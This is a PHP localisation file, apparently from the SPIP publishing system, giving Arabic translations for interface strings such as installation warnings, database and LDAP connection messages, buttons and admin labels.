'avis_connexion_echec_3' => '<b>ملاحظة</b> في العديد من اجهزة الخدمة، عليك <b>بطلب</b> تفعيل الدخول الى قاعدة البيانات قبل التمكن من استخدامها. اذا لم تتمكن من الاتصال بالقاعدة، تأكد من انك نفذت هذه الخطوة.',
'avis_connexion_erreur_nom_base' => 'لا يجب ان يحتوي اسم القاعدة الا احرف وأرقام',
'avis_connexion_ldap_echec_1' => 'الاتصال بخادم LDAP فشل.',
'avis_connexion_ldap_echec_2' => 'عد الى الصفحة السابقة وتأكد من صحة المعلومات التي أدخلتها.',
'avis_connexion_ldap_echec_3' => 'وإلا، لا تستخدم دعم LDAP لجلب المستخدمين.',
'avis_deplacement_rubrique' => 'تحذير! يحتوي هذا القسم على @contient_breves@ خبر@scb@: إذا قمت بنقله، الرجاء تأشير هذا الخيار لتأكيد طلبك.',
'avis_destinataire_obligatoire' => 'يجب تحديد مرسل اليه قبل بعث الرسالة.',
'avis_erreur_connexion_mysql' => 'خطأ اتصالي SQL',
'avis_erreur_version_archive' => '<b>تحذير! الملف @archive@ يعود الى
إصدار من SPIP مختلف عن ذلك الذي قمت
بتثبيته. </b>إنك ستواجه مشاكل
كبيرة: خطر إتلاف قاعدة البيانات،
أعطاب مختلفة في أداء الموقع، الخ. لا
تصدّق على طلب الجلب.<p> لمزيد
من المعلومات، الرجاء مراجعة <a href="@spipnet@">
دليل SPIP</a>. ',
'avis_espace_interdit' => '<b>مجال ممنوع</b><div>SPIP مثبت مسبقاً.</div>',
'avis_lecture_noms_bases_1' => 'لم يتمكن المثبت من قراءة أسماء قواعد البيانات المثبتة.',
'avis_lecture_noms_bases_2' => 'إما لا توجد قاعدة بيانات متوافرة أو تم ايقاف وظيفة عرض قواعد البيانات
لأسباب أمنية (هكذا الحال لدى العديد من المضيفين).',
'avis_lecture_noms_bases_3' => 'إذا كانت الحال الثانية صحيحة، قد يكون هناك قاعدة بيانات تحمل إسم معرّف الدخول لديك يمكن استخدامها:',
'avis_non_acces_message' => 'لا تملك إمتياز الدخول الى هذه الرسالة.',
'avis_non_acces_page' => 'لا تملك إمتياز الدخول الى هذه الصفحة.',
'avis_operation_echec' => 'العملية فشلت.',
'avis_operation_impossible' => 'عملية غير ممكنة',
'avis_probleme_archive' => 'خطأ في قراءة الملف @archive@',
'avis_suppression_base' => 'تحذير، حذف البيانات لا يمكن التراجع عنه',
'avis_version_mysql' => 'إصدار SQL لديك (@version_mysql@) لا يسمح بالإصلاح الآلي لجداول القاعدة. ',
// B
'bouton_acces_ldap' => 'إضافة الوصول الى LDAP',
'bouton_ajouter' => 'إضافة',
'bouton_ajouter_participant' => 'إضافة مشترك:',
'bouton_annonce' => 'إعلان',
'bouton_annuler' => 'الغاء',
'bouton_cache_activer' => 'إعادة تشغيل الذاكرة المخبأة',
'bouton_cache_desactiver' => 'إيقاف الذاكرة المخبأة مؤقتاً',
'bouton_checkbox_envoi_message' => 'إمكان إرسال مشاركة',
'bouton_checkbox_indiquer_site' => 'يجب إدخال إسم موقع',
'bouton_checkbox_signature_unique_email' => 'توقيع واحد فقط لكل عنوان بريد الكتروني',
'bouton_checkbox_signature_unique_site' => 'توقيع واحد فقط لكل موقع',
'bouton_demande_publication' => 'طلب نشر هذا المقال',
'bouton_desactive_tout' => 'تعطيل الكل',
'bouton_desinstaller' => 'إزالة التثبيت',
'bouton_effacer_index' => 'حذف الفهارس',
'bouton_effacer_tout' => 'حذف الكل',
'bouton_envoi_message_02' => 'بعث برسالة',
'bouton_envoyer_message' => 'صيغة نهائية : إرسال',
'bouton_fermer' => 'إغلاق',
'bouton_mettre_a_jour_base' => 'تحديث قاعدة البيانات',
'bouton_modifier' => 'تغيير',
'bouton_pense_bete' => 'مذكرة للاستخدام الشخصي',
'bouton_radio_activer_messagerie' => 'تفعيل المراسلة الداخلية',
'bouton_radio_activer_messagerie_interne' => 'تفعيل المراسلة الداخلية',
'bouton_radio_activer_petition' => 'تفعيل العريضة',
'bouton_radio_afficher' => 'إظهار',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'الظهور في قائمة المحررين المتصلين',
'bouton_radio_desactiver_messagerie' => 'ايقاف المراسلة',
'bouton_radio_envoi_annonces_adresse' => 'إرسال الإعلانات الى العنوان:',
'bouton_radio_envoi_liste_nouveautes' => 'إرسال قائمة بالأخبار',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'عدم الظهور في قائمة المحررين',
'bouton_radio_non_envoi_annonces_editoriales' => 'عدم إرسال أي إعلان تحرير',
'bouton_radio_pas_petition' => 'بدون عرائض',
'bouton_radio_petition_activee' => 'تم تفعيل العريضة',
'bouton_radio_supprimer_petition' => 'حذف العريضة',
'bouton_redirection' => 'إعادة توجيه',
'bouton_relancer_installation' => 'إعادة إطلاق عملية التثبيت',
'bouton_suivant' => 'التالي',
'bouton_tenter_recuperation' => 'محاولة إصلاح',
'bouton_test_proxy' => 'اختبار الجهاز الوكيل',
'bouton_vider_cache' => 'تفريغ ذاكرة كاش',
'bouton_voir_message' => 'معاينة المشاركة قبل التصديق عليها',
// C
'cache_mode_compresse' => 'تم حفظ ملفات الذاكرة المخبأة بتنسيق مضغوط.',
'cache_mode_non_compresse' => 'تم حفظ ملفات الذاكرة المخبأة بتنسيق غير مضغوط.',
'cache_modifiable_webmestre' => 'يتم تعديل هذه القيمة من قبل مسؤول الموقع.',
'calendrier_synchro' => 'اذا كنت تستخدم برنامج ادارة مواعيد يتوافق مع <b>iCal</b>، يمكنك ان تطابقه مع نشاط هذا الموقع التحريري.',
'config_activer_champs' => 'تفعيل الحقول التالية',
'config_choix_base_sup' => 'تحديد قاعدة في هذا الخادم',
'config_erreur_base_sup' => 'لا يمكن لنظام SPIP الوصول الى لائحة القواعد المتاحة',
'config_info_base_sup' => 'اذا كان لديك قواعد بيانات اخرى لاستفسارها عبر SPIP، بواسطة خادم SQL الخاص به او بواسطة خادم اخر، تتيح لك الاستمارة ادناه بالإعلان عن تلك القواعد. اذا تركت حقولاً فارغة سيتم استخدام معرّفات الاتصال بقاعدة البيانات الأساسية.',
'config_info_base_sup_disponibles' => 'قواعد اضافية يمكن استفسارها:',
'config_info_enregistree' => 'تم حفظ الإعداد الجديد',
'config_info_logos' => 'اي عنصر من الموقع يمكن ان يملك شعار مثل «شعار الحوم» ',
'config_info_logos_utiliser' => 'استخدام الشعارات',
'config_info_logos_utiliser_non' => 'عدم استخدام الشعارات',
'config_info_logos_utiliser_survol' => 'استخدام شعارات الحوم',
'config_info_logos_utiliser_survol_non' => 'عدم استخدام شعارات الحوم',
'config_info_redirection' => 'بتفعيل هذا الخيار، يمكنك انشاء مقالات افتراضية تشكل مرجعاً بيسطاً لمقالات منشورة في مواقع اخرى او خارج SPIP.',
'config_redirection' => 'مقالات افتراضية',
'config_titre_base_sup' => 'الاعلان عن قاعدة اضافية',
'config_titre_base_sup_choix' => 'اختيار قاعدة اضافية',
'connexion_ldap' => 'اتصال:',
'copier_en_local' => 'نسخ محلياً',
'creer_et_associer_un_auteur' => 'إنشاء مؤلف وربطه',
'creer_et_associer_une_rubrique' => 'إنشاء قسم وربطه',
// D
'date_mot_heures' => 'ساعات',
// E
'ecran_securite' => '+ شاشة الأمان @version@',
'email' => 'البريد الالكتروني',
'email_2' => 'البريد الالكتروني :',
'en_savoir_plus' => 'مزيد من المعلومات',
'entree_adresse_annuaire' => 'عنوان الدليل',
'entree_adresse_email' => 'عنوانك الالكتروني',
'entree_adresse_email_2' => 'عنوان البريد الالكتروني',
'entree_base_donnee_1' => 'عنوان قاعدة البيانات',
'entree_base_donnee_2' => '(غالباً ما يتطابق هذا العنوان مع عنوان موقعك وأحياناً قد يكون عبارة «localhost» وأحياناً أخرى يترك فارغاً.)',
'entree_biographie' => 'سيرتك في بضع كلمات.',
'entree_chemin_acces' => '<b>إدخال</b> المسار:',
'entree_cle_pgp' => 'مفتاح PGP لديك',
'entree_cle_pgp_2' => 'مفتاح PGP',
'entree_contenu_rubrique' => '(محتوى القسم ببضع كلمات.)',
'entree_identifiants_connexion' => 'بيانات إتصالك...',
'entree_identifiants_connexion_2' => 'بيانات الاتصال',
'entree_informations_connexion_ldap' => 'الرجاء إدخال معلومات الاتصال بدليل LDAP في هذه الاستمارة.
من المفترض أن تكون حصلت على هذه المعلومات من المسؤول عن نظامك
أو شبكتك.',
'entree_infos_perso' => 'عرّف بنفسك :',
'entree_infos_perso_2' => 'من هو المؤلف؟',
'entree_interieur_rubrique' => 'في القسم: ',
'entree_liens_sites' => '<b>وصلة هايبرتكست<b> (مرجع، موقع للزيارة...)',
'entree_login' => 'معرّف دخولك',
'entree_login_connexion_1' => 'معرّف الاتصال',
'entree_login_connexion_2' => '(أحياناً يتطابق مع معرّف دخول بروتوكول FTP وأحياناً أخرى يترك فارغاً)',
'entree_login_ldap' => 'معرّف الدخول الأولي الى LDAP',
'entree_mot_passe' => 'كلمة سرك',
'entree_mot_passe_1' => 'كلمة سر الاتصال',
'entree_mot_passe_2' => '(أحياناً يتطابق مع كلمة سر بروتوكول FTPوأحياناً أخرى يترك فارغاً)',
'entree_nom_fichier' => 'الرجاء إدخال اسم الملف @texte_compresse@:',
'entree_nom_pseudo' => 'الإسم او اللقب',
'entree_nom_pseudo_1' => '(الإسم او اللقب)',
'entree_nom_pseudo_2' => 'الاسم او اللقب',
'entree_nom_site' => 'إسم موقعك',
'entree_nom_site_2' => 'اسم موقع المؤلف',
'entree_nouveau_passe' => 'كلمة السر الجديدة',
'entree_passe_ldap' => 'كلمة السر',
'entree_port_annuaire' => 'رقم منفذ الدليل',
'entree_signature' => 'التوقيع',
'entree_titre_obligatoire' => '<b>العنوان</b> [إجباري]<br />',
'entree_url' => 'عنوان موقعك',
'entree_url_2' => 'عنوان الموقع',
'erreur_connect_deja_existant' => 'يوجد حالياً جهاز خدمة بهذا الاسم',
'erreur_nom_connect_incorrect' => 'هذا الاسم لجهاز الخدمة غير مسموح به',
'erreur_plugin_desinstalation_echouee' => 'فشل الغاء تثبيت الملحق. ولكن يمكنك ايقافه.',
'erreur_plugin_fichier_absent' => 'ملف غير موجود',
'erreur_plugin_fichier_def_absent' => 'ملف اعداد غير موجود',
'erreur_plugin_nom_fonction_interdit' => 'اسم دالة غير مسموح به:',
'erreur_plugin_nom_manquant' => 'اسم الملحق غير الموجود',
'erreur_plugin_prefix_manquant' => 'حقل تسمية الملحق غير محدد',
'erreur_plugin_tag_plugin_absent' => '<plugin> غير موجود في ملف التعريف',
'erreur_plugin_version_manquant' => 'اصدار الملحق غير موجود',
// H
'htaccess_a_simuler' => 'تحذير: إن إعداد خادم HTTP لديك يتجاهل ملفات @htaccess@. لتوفير أمان فعّال لموقعك، يجب تغيير الإعداد بخصوص هذه المسألة، او ان تكون قيم الثوابت @constantes@ (التي يمكن تحديدها في ملف mes_options.php) مجلدات من خارج @document_root@.',
'htaccess_inoperant' => 'htaccess غير فعّال',
// I
'ical_info1' => 'تقدم هذه الصفحة وسائل عدة للاتصال بنشاط الموقع.',
'ical_info2' => 'لمزيد من المعلومات حول هذه التقنيات يمكنك زيارة <a href="@spipnet@">توثيق SPIP</a>.',
'ical_info_calendrier' => 'هناك روزتامتان تحت تصرفك. الاولى هي عبارة عن خريطة للموقع تعلن عن كل المقالات المنشورة. اما الثانية، فتحتوي على اعلانات التحرير اضافة الى احدث رسائلك الشخصية: وهي مخصصة لك يحميها مفتاح شخصي يمكنك تغييره في اي وقت يتجديد كلمة سرك.',
'ical_methode_http' => 'تحميل',
'ical_methode_webcal' => 'تزامن (webcal://)',
'ical_texte_js' => 'يتيح لك سطر جافاسكريبت واحد عرض المقالات الحديثة التي تم نشرها في اي موقع يخصك.',
'ical_texte_prive' => 'تعلمك هذه الروزنامة، المحصورة بالاستخدام الشخصي، بالنشاط التحريري الخاص في هذا الموقع (المهمات والمواعيد الشخصية والاخبار المقترحة...).',
'ical_texte_public' => 'تتيح لك هذه الروزنامة متابعة النشاط العمومي في هذا الموقع (المقالات والاخبار المنشورة).',
'ical_texte_rss' => 'يمكنك ترخيص جديد هذا الموقع من خلال اي معالج ملفات بتنسيق XML/RSS (اي RDF Site Summary). وهو ايضاً التنسيق الذي يسمح لـSPIP بقراءة احدث ما ينشر في مواقع اخرى وذلك باستخدام تنسيق تبادل متوافق (مواقع مرخصة). ',
'ical_titre_js' => 'جافاسكريبت',
'ical_titre_mailing' => 'القائمة البريدية',
'ical_titre_rss' => 'ملفات الترخيص',
'icone_accueil' => 'الأساسية',
'icone_activer_cookie' => 'وضع كعكة',
'icone_activite' => 'نشاط الموقع',
'icone_admin_plugin' => 'ادارة الملحقات',
'icone_administration' => 'صيانة',
'icone_afficher_auteurs' => 'إظهار المؤلفين',
'icone_afficher_visiteurs' => 'عرض الزوار',
'icone_arret_discussion' => 'إيقاف المشاركة في هذا النقاش',
'icone_calendrier' => 'الروزنامة',
'icone_configuration' => 'إعداد',
'icone_creer_auteur' => 'إضافة مؤلف جديد وإشراكه في هذا المقال',
'icone_creer_mot_cle' => 'إنشاء مفتاح جديد وربطه بهذا المقال',
'icone_creer_mot_cle_rubrique' => 'إنشاء مفتاح جديد وربطه بهذا القسم',
'icone_creer_mot_cle_site' => 'إنشاء مفتاح جديد وربطه بهذا الموقع',
'icone_creer_rubrique_2' => 'إنشاء قسم جديد',
'icone_edition' => 'تحرير',
'icone_envoyer_message' => 'إبعث بهذه الرسالة',
'icone_ma_langue' => 'لغتي',
'icone_mes_infos' => 'بياناتي',
'icone_mes_preferences' => 'تفضيلاتي',
'icone_modifier_article' => 'تعديل هذا المقال',
'icone_modifier_message' => 'تعديل هذه الرسالة',
'icone_modifier_rubrique' => 'تعديل هذا القسم',
'icone_publication' => 'نشر',
'icone_relancer_signataire' => 'تذكير الموقع',
'icone_retour' => 'رجوع',
'icone_retour_article' => 'عودة إلى المقال',
'icone_squelette' => 'صفحات نموذجية',
'icone_suivi_publication' => 'متابعة النشر',
'icone_supprimer_cookie' => 'حذف الكعكة',
'icone_supprimer_rubrique' => 'حذف هذا القسم',
'icone_supprimer_signature' => 'حذف هذا التوقيع',
'icone_valider_signature' => 'التصديق على هذا التوقيع',
'image_administrer_rubrique' => 'يمكنك إدارة هذا القسم',
'impossible_modifier_login_auteur' => 'لا يمكن تغيير المعرّف.',
'impossible_modifier_pass_auteur' => 'لا يمكن تغيير كلمة السر.',
'info_1_article' => 'مقال واحد',
'info_1_article_syndique' => 'مقال مرخص واحد',
'info_1_auteur' => 'مؤلف واحد',
'info_1_message' => 'رسالة واحدة',
'info_1_mot_cle' => 'مفتاح واحد',
'info_1_rubrique' => 'قسم واحد',
'info_1_site' => 'موقع واحد',
'info_1_visiteur' => 'زائر واحد',
'info_activer_cookie' => 'يمكنك تفعيل <b>كعكة إدارية</b>، تتيح لك
التنقل بسهولة بين الموقع العمومي والمجال الخاص.',
'info_admin_etre_webmestre' => 'إعطائي حقوق المشرف',
'info_admin_gere_rubriques' => 'هذا المدير يتمتع بحق إدارة الأقسام التالية:',
'info_admin_gere_toutes_rubriques' => 'هذا المدير يتمتع بحق إدارة <b>كل الأقسام<b>.',
'info_admin_gere_toutes_rubriques_2' => 'أدير <b>كل الأقسام</b>',
'info_admin_je_suis_webmestre' => 'أنا <b>مشرف</b>',
'info_admin_statuer_webmestre' => 'اعطاء حقوق مسؤول الموقع لهذا المدير',
'info_admin_webmestre' => 'هذا المدير هو <b>مسؤول الموقع</b>',
'info_administrateur' => 'مدير',
'info_administrateur_1' => 'مدير',
'info_administrateur_2' => 'الموقع (إستخدمه بحذر)',
'info_administrateur_site_01' => 'اذا كنت احد مدراء هذا الموقع، الرجاء',
'info_administrateur_site_02' => 'نقر هذه الوصلة',
'info_administrateurs' => 'مدراء',
'info_administrer_rubrique' => 'يمكنك إدارة هذا القسم',
'info_adresse' => 'الى العنوان:',
'info_adresse_url' => 'عنوان الموقع العمومي',
'info_afficher_par_nb' => 'عرض حسب',
'info_afficher_visites' => 'إظهار الزيارات لـ:',
'info_aide_en_ligne' => 'تعليمات SPIP الفورية',
'info_ajout_image' => 'عندما تضيف صوراً على شكل مستندات مربوطة بمقال ما،
يمكن لـ SPIP ان ينشئ آلياً مصغرات عن
الصور المدرجة. ويتيح ذلك مثلاً، إنشاء
معرض صور او محفظة.',
'info_ajout_participant' => 'تمت إضافة المشارك التالي :',
'info_ajouter_rubrique' => 'إضافة قسم آخر الى الإدارة:',
'info_annonce_nouveautes' => 'إعلان عن آخر الأخبار',
'info_anterieur' => 'السابق',
'info_article' => 'مقال',
'info_article_2' => 'مقال',
'info_article_a_paraitre' => 'المقالات المؤجلة التي تنتظر النشر',
'info_articles_02' => 'مقال',
'info_articles_2' => 'المقالات',
'info_articles_auteur' => 'مقالات هذا المؤلف',
'info_articles_miens' => 'مقالاتي',
'info_articles_tous' => 'كل المقالات',
'info_articles_trouves' => 'المقالات التي عثر عليها',
'info_articles_trouves_dans_texte' => 'المقالات التي عثر عليها (في المادة)',
'info_attente_validation' => 'مقالاتك المنتظرة التصديق',
'info_aucun_article' => 'لا مقال',
'info_aucun_article_syndique' => 'لا مقال مرخص',
'info_aucun_auteur' => 'لا مؤلف',
'info_aucun_message' => 'لا رسالة',
'info_aucun_rubrique' => 'لا أقسام',
'info_aucun_site' => 'لا موقع',
'info_aucun_visiteur' => 'لا زائر',
'info_aujourdhui' => 'اليوم:',
'info_auteur_message' => 'المرسِل:',
'info_auteurs' => 'المؤلفون',
'info_auteurs_par_tri' => 'المؤلفون@partri@',
'info_auteurs_trouves' => 'المؤلفون الذين عثر عليهم',
'info_authentification_externe' => 'التحقق الخارجي',
'info_avertissement' => 'تحذير',
'info_barre_outils' => 'مع شريط أدواته؟',
'info_base_installee' => '<b>تم تثبيت بنية قاعدة البيانات. ',
'info_bio' => 'السيرة',
'info_cache_desactive' => 'الذاكرة المخبأة متوقفة مؤقتاً.',
'info_chapeau' => 'المقدمة',
'info_chapeau_2' => 'المقدمة:',
'info_chemin_acces_1' => 'خيارات: <b>مسار الدخول في الدليل</b>',
'info_chemin_acces_2' => 'من الآن، عليك بإعداد مسار الدخول الى معلومات الدليل. هذه المعلومات أساسية لقراءة بيانات المستخدمين المحفوظة في الدليل.',
'info_chemin_acces_annuaire' => 'خيارات: <b>مسار الدخول في الدليل</b>',
'info_choix_base' => 'الخطوة الثالثة: ',
'info_classement_1' => ' من أصل @liste@ مقال',
'info_classement_2' => 'من أصل @liste@ مقال',
'info_code_acces' => 'لا تنسى بيانات الدخول الخاصة بك!',
'info_compatibilite_html' => 'مقاييس HTML التي يجب اتباعها',
'info_compresseur_gzip' => 'ننصح بالتأكد أولاً ما اذا كان المضيف يضغط بشكل منتظم ملفات php. للتأكد، يمكنك مثلاًاستخدام الخدمة التالية: @testgzip@',
'info_compresseur_texte' => 'اذا كان خادم موقعك لا يضغت صفحات html آلياً قبل ارسالها الى الزوار، يمكنك محاولة فرض هذا الضغط لتخفيض وزن الصفحات المرسلة. <b>تحذير</b>: هذا الامر قد يؤدي الى ابطاء بعض اجهزة الخدمة بشكل ملحوظ.',
'info_config_suivi' => 'اذا كان هذا العنوان يدل الى قائمة بريدية، يمكنك ادخال العنوان حيث يقوم المشاركون في الموفع بتسجيل انفسهم، ادناه. ويمكن لهذا العنوان ان يكون عنوان URL (مثلاً صفحة التسجيل في القائمة عبر النسيج) او عنوان بريدي يحمل موضوعاً محدداً (مثلاً: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'يمكنك الاشتراك في القائمة البريدية في هذا الموقع. ستحصل عندها آلياً في رسالة الكترونية على اعلانات حول المقالات والاخبار المقترحة للنشر. ',
'info_confirmer_passe' => 'تأكيد كلمة السر الجديدة:',
'info_conflit_edition_avis_non_sauvegarde' => 'تنبيه، تم تعديل الحقول التالية في مكان آخر. لذلك لم يتم تسجيل نعديلاتك.',
'info_conflit_edition_differences' => 'الفروق:',
'info_conflit_edition_version_enregistree' => 'الاصدار المسجل:',
'info_conflit_edition_votre_version' => 'إصدارك:',
'info_connexion_base' => 'محاولة الاتصال بقاعدة البيانات',
'info_connexion_base_donnee' => 'الاتصال بقاعدة بياناتك',
'info_connexion_ldap_ok' => 'نجح إتصال LDAP.</b><p> يمكنك الانتقال الى الخطوة التالية.</p>',
'info_connexion_mysql' => 'الاتصال بخادم SQL',
'info_connexion_ok' => 'نجح الاتصال.',
'info_contact' => 'الاتصال',
'info_contenu_articles' => 'محتوى المقالات',
'info_contributions' => 'المساهمات',
'info_creation_paragraphe' => 'لإنشاء فقرات يكفي ترك سطور فارغة.',
'info_creation_rubrique' => 'قبل التمكن من كتابة مقالات،<br />يجب عليك إنشاء قسم واحد على الأقل.<br />',
'info_creation_tables' => 'إنشاء جداول قاعدة البيانات',
'info_creer_base' => '<b>قم بإنشاء</b> قاعدة بيانات جديدة:',
'info_dans_rubrique' => 'في القسم: ',
'info_date_publication_anterieure' => 'تاريخ النشر السابق:',
'info_date_referencement' => 'تاريخ تبويب هذا الموقع:',
'info_derniere_etape' => 'إنتهى!',
'info_derniers_articles_publies' => 'أحدث مقالاتك المنشورة',
'info_desactiver_messagerie_personnelle' => 'يمكنك تفعيل مراسلتك الخاصة أو ايقافها في هذا الموقع.',
'info_descriptif' => 'الوصف:',
'info_desinstaller_plugin' => 'يحذف البيانات ويعطل الملحقات',
'info_discussion_cours' => 'النقاشات النشطة',
'info_ecrire_article' => 'قبل التمكن من كتابة مقالات، يجب عليك إنشاء قسم واحد على الأقل.',
'info_email_envoi' => 'العنوان الالكتروني للارسال (اختياري)',
'info_email_envoi_txt' => 'ادخل هنا العنوان المطلوب استخدامه لبعث الرسائل (والا، سيتم استخدام عنوان المرسل اليه كعنوان ارسال):',
'info_email_webmestre' => 'عنوان بريد المشرف على الموقع',
'info_entrer_code_alphabet' => 'إدخال رمز طقم الحروف المطلوب استخدامه:',
'info_envoi_email_automatique' => 'إرسال البريد الآلي',
'info_envoyer_maintenant' => 'إرسال الآن',
'info_etape_suivante' => 'إنتقل الى الخطوة التالية',
'info_etape_suivante_1' => 'يمكنك الانتقال الى الخطوة التالية.',
'info_etape_suivante_2' => 'يمكنك الانتقال الى الخطوة التالية.',
'info_exceptions_proxy' => 'استثناءات للجهاز الوكيل',
'info_exportation_base' => 'نقل قاعدة البيانات الى @archive@',
'info_facilite_suivi_activite' => 'لتسهيل متابعة أنشطة تحرير
الموقع، يرسل SPIP عبر البريد الى لائحة احد المحررين البريدية مثلاً،
الإعلان عن
طلبات النشر وتصديق المقالات.',
'info_fichiers_authent' => 'ملف التحقق «.htpasswd»',
'info_forums_abo_invites' => 'يحتوي موقعك على منتديات بالاشتراك. يشترك الزوار اذاً من الموقع العمومي.',
'info_gauche_admin_effacer' => '<b>لا يحق إلا لمسؤولي الموقع الوصول الى هذه الصفحة. </b><p>إنها توفر الوصول الى وظائف متنوعة للصيانة التقنية. وتتطلب بعض هذه الوظائف عملية تحقق محددة تحتاج الى الوصول الى الموقع عبر بروتوكول FTP .</p>',
'info_gauche_admin_tech' => '<b>لا يحق إلا لمسؤولي الموقع الوصول الى هذه الصفحة.</b><p> إنها توفر الوصول الى وظائف
متنوعة للصيانة التقنية. وتتطلب بعض هذه الوظائف عملية تحقق محددة
تحتاج الى الدخول الى الموقع عبر بروتوكول FTP .</p>',
'info_gauche_admin_vider' => '<b>لا يحق إلا لمسؤولي الموقع الوصول الى هذه الصفحة.</b><p> إنها توفر الوصول الى وظائف
متنوعة للصيانة التقنية. وتتطلب بعض هذه الوظائف عملية تحقق محددة
تحتاج الى الدخول الى الموقع عبر بروتوكول FTP .</p>',
'info_gauche_auteurs' => 'ستجد هنا جميع مؤلفي الموقع.
يدل لون رمز كل مؤلف على وضعه (مدير = أخضر؛ محرر = أصفر).',
'info_gauche_auteurs_exterieurs' => 'المؤلفون الخارجيون، الذين لا يتمتعون بحق الدخول الى الموقع، معرّفون برمز أزرق؛
اما المؤلفون المحذوفون فبرمز رمادي.',
'info_gauche_messagerie' => 'تتيح المراسلة تبادل الرسائل بين المحررين والحفاظ على المذكرات (لاستخدامك الشخصي) وعرض الإعلانات في الصفحة الرئيسية للمجال الخاص (إذا كنت مديراً).',
'info_gauche_numero_auteur' => 'المؤلف رقم',
'info_gauche_statistiques_referers' => 'تعرض هذه الصفحة قائمة <i>مواقع المصدر</i>، أي المواقع التي تحتوي على وصلات تقود الى موقعك، fبين البارحة واليوم فقط: فيتم تأصيل هذه القائمة كل 24 ساعة.',
'info_gauche_visiteurs_enregistres' => 'ستجد هنا الزوار المسجلين
في مجال الموقع العام (المنتديات بالاشتراك).',
'info_generation_miniatures_images' => 'إنشاء مصغرات الصور',
'info_gerer_trad' => 'ادارة وصلات الترجمة',
'info_gerer_trad_objets' => '@objets@: إدارة روابط الترجمة',
'info_hebergeur_desactiver_envoi_email' => '</i>بعض خدام المواقع يوقفون إرسال البريد الآلي
في أجهزتهم. في هذه الحال، لا يمكن تفعيل
وظائف SPIP التالية.<i>',
'info_hier' => 'البارحة:',
'info_historique_activer' => 'تفعيل متابعة التعديلات',
'info_historique_affiche' => 'عرض هدا الاصدار',
'info_historique_comparaison' => 'مقارنة',
'info_historique_desactiver' => 'ايقاف متابعة التعديلات',
'info_historique_texte' => 'تتيح متابعة التعديلات الحفاظ على وصف تاريخي لكل التعديلات التي دخلت على مادة المقال وعرض الفوارق بين الاصدارات المتتالية.',
'info_identification_publique' => 'هويتك العمومية...',
'info_image_process' => 'الرجاء اختيار افضل طريقة لإنشاء المصغرات بالنقر على الصورة المناسبة.',
'info_image_process2' => 'اذا لم تظهر اية صورة يكون جهاز الخدمة الذي يستضيف موقعك غير معدّ لاستخدام هذه الأدوات. اذا رغبت في استخدام هذه الوظائف، اتصل بالمسؤول التقني واطلب تثبيت أحد الملحقين «GD» او «Imagick».',
'info_images_auto' => 'يتم حساب هذه الصور آلياً',
'info_informations_personnelles' => 'المعلومات الشخصية',
'info_inscription_automatique' => 'تسجيل آلي للمحررين الجدد',
'info_jeu_caractere' => 'طقم حروف الموقع',
'info_jours' => 'يوم',
'info_laisser_champs_vides' => 'ترك هذه الحقول فارغة)',
'info_langues' => 'لغات الموقع',
'info_ldap_ok' => 'تم تثبيت تحقق LDAP .',
'info_lien_hypertexte' => 'وصلة هايبرتكست:',
'info_liste_nouveautes_envoyee' => 'تم إرسال لائحة جديد الموقع',
'info_liste_redacteurs_connectes' => 'قائمة المحررين المتصلين',
'info_login_existant' => 'هذا المعرّف موجود سابقاً.',
'info_login_trop_court' => 'معرّف الدخول قصيز جداً.',
'info_login_trop_court_car_pluriel' => 'يجب ان يحتوي المعرّف @nb@ حرفاً على الأقل.',
'info_logos' => 'الشعارات',
'info_maximum' => 'الحد الأقصى:',
'info_meme_rubrique' => 'في القسم نفسه',
'info_message' => 'رسالة من',
'info_message_efface' => 'المشاركة حذفت',
'info_message_en_redaction' => 'رسالتك قيد التحرير',
'info_message_technique' => 'رسالة تقنية:',
'info_messagerie_interne' => 'المراسلة الداخلية',
'info_mise_a_niveau_base' => 'ترقية قاعدة بيانات SQL',
'info_mise_a_niveau_base_2' => '{{تحذير!}} قمت بتثبيت إصدار
من ملفات SPIP {{أقدم}} من الإصدار الذي
كان موجوداً في هذا الموقع: قد تواجه خطر فقدان قاعدة البيانات
مما يحول دون عمل موقعك بشكل سليم.<br />{{إعادة تثبيت
ملفات SPIP.}}',
'info_modification_enregistree' => 'تم تسجيل تعديلاتك',
'info_modifier_auteur' => 'تغيير المؤلف:',
'info_modifier_rubrique' => 'تعديل القسم:',
'info_modifier_titre' => 'تغيير: @titre@',
'info_mon_site_spip' => 'موقع SPIP',
'info_mot_sans_groupe' => '(مفاتيح لا تنتمي الى مجموعة...)',
'info_moteur_recherche' => 'محرك البحث المدمج',
'info_moyenne' => 'المتوسط:',
'info_multi_articles' => 'تفعيل قائمة اللغات في المقالات؟',
'info_multi_cet_article' => 'لغة هذا المقال:',
'info_multi_langues_choisies' => 'الرجاء تحديد ادناه اللغات التي ستكون متوافرة لمحرري موقعك.
لا يمكن ايقاف اللغات المستخدمة حالياً في موقعك (والظاهرة في اول القائمة).',
'info_multi_objets' => '@objets@: تفعيل قائمة اللغات',
'info_multi_rubriques' => 'تفعيل قائمة اللغات في الاقسام؟',
'info_multi_secteurs' => '... للأقسام الموجودة في اصل الموقع فقط ',
'info_nb_articles' => '@nb@ مقال',
'info_nb_articles_syndiques' => '@nb@ مقال مرخص',
'info_nb_auteurs' => '@nb@ مؤلف',
'info_nb_messages' => '@nb@ رسالة',
'info_nb_mots_cles' => '@nb@ مفتاح',
'info_nb_rubriques' => '@nb@ قسم',
'info_nb_sites' => '@nb@ موقع',
'info_nb_visiteurs' => '@nb@ زائر',
'info_nom' => 'الإسم',
'info_nom_destinataire' => 'إسم المرسل اليه',
'info_nom_pas_conforme' => 'علامات html غير مسموح بها',
'info_nom_site' => 'إسم موقعك',
'info_nombre_articles' => '@nb_articles@ مقال،',
'info_nombre_partcipants' => 'مشاركون في النقاش:',
'info_nombre_rubriques' => '@nb_rubriques@ قسم،',
'info_nombre_sites' => '@nb_sites@ موقع،',
'info_non_deplacer' => 'عدم التحريك...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'يستطيع SPIP إرسال إعلانات عن آخر الأخبار بانتظام.
(المقالات والأخبار المنشورة حديثاً).',
'info_non_envoi_liste_nouveautes' => 'عدم إرسال قائمة بآخر الأخبار',
'info_non_modifiable' => '</i>لا يمكن تغييره<i>',
'info_non_suppression_mot_cle' => 'كلا لا أريد حذف هذا المفتاح.',
'info_note_numero' => 'علامة @numero@',
'info_notes' => 'حواشي',
'info_nouveaux_message' => 'رسائل جديدة',
'info_nouvel_article' => 'مقال جديد',
'info_nouvelle_traduction' => 'ترجمة جديدة:',
